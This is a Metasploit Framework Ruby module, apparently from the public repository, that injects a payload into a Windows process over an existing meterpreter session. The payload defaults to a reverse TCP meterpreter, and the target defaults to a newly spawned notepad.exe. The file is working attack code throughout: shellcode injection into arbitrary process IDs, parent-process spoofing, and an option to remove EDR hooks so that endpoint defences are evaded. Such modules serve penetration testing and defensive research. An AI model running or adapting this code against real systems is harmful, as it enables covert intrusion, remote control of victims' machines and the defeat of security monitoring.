##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Process
  include Msf::Module::Deprecated

  moved_from 'post/windows/manage/payload_inject'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Memory Payload Injection',
        'Description' => %q{
          This module will inject a payload into memory of a process.  If a payload
          isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
          datastore option isn't specified, then it'll inject into notepad.exe instead.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'sinn3r'
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [ [ 'Windows', {} ] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-10-12',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_process_attach
              stdapi_sys_process_execute
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
        OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
        OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
      ]
    )
  end

  # Run Method for when run command is issued
  def exploit
    @payload_name = datastore['PAYLOAD']
    @payload_arch = ARCH_X86
    payload_arch_old = framework.payloads.create(@payload_name).arch.first
    # convert the old style archetecture to the new style
    @payload_arch = ARCH_X64 if payload_arch_old.include?('64')

    vprint_status("Client Arch = #{client.arch}")
    vprint_status("Payload Arch = #{@payload_arch}")

    # prelim checks
    if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
      fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
    end

    # syinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

    if datastore['PPID'] != 0 and datastore['PID'] != 0
      print_error("PID and PPID are mutually exclusive")
      return false
    end

    proc = get_proc(datastore['PID'])
    if not proc
      print_error("Unable to get a proper PID")
      return
    end

    if datastore['PPID'] != 0 and not has_pid?(datastore['PPID'])
      print_error("Process #{datastore['PPID']} was not found")
      return false
    elsif datastore['PPID'] != 0
      print_status("Spoofing PPID #{datastore['PPID']}")
    end

    unless arch_check(@payload_arch, proc.pid)
      fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
    end
    if datastore['AUTOUNHOOK']
      print_status("Executing unhook")
      print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
      unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
        fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
      end
    end
    print_status("Injecting payload into #{proc.pid}")
    begin
      inject_into_pid(proc.pid)
    rescue ::Exception => e
      print_error("Failed to inject Payload to #{pid}!")
      print_error(e.to_s)
    end
  end

  # Figures out which PID to inject to
  def get_proc(pid)
    if pid == 0
      notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
      vprint_status("Starting  #{notepad_pathname}")
      proc = client.sys.process.execute(notepad_pathname, nil, {
        'Hidden' => datastore['HIDDEN'],
        'ParentPid' => datastore['PPID']
      })
      if proc.nil?
        print_bad("Failed to start notepad process")
      else
        print_status("Spawned Notepad process #{proc.pid}")
      end
    else
      if not has_pid?(pid)
        print_error("Process #{pid} was not found")
        return nil
      end
      proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      if proc.nil?
        print_bad("Failed to start notepad process")
      else
        print_status("Opening existing process #{proc.pid}")
      end
    end
    return proc
  end

  def inject_into_pid(pid)
    vprint_status("Performing Architecture Check")
    return if not arch_check(@payload_arch, pid)

    begin
      print_status("Preparing '#{@payload_name}' for PID #{pid}")
      raw = payload.encoded
      execute_shellcode(raw, nil, pid)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Unable to inject payload:")
      print_line(e.to_s)
    end
  end
end
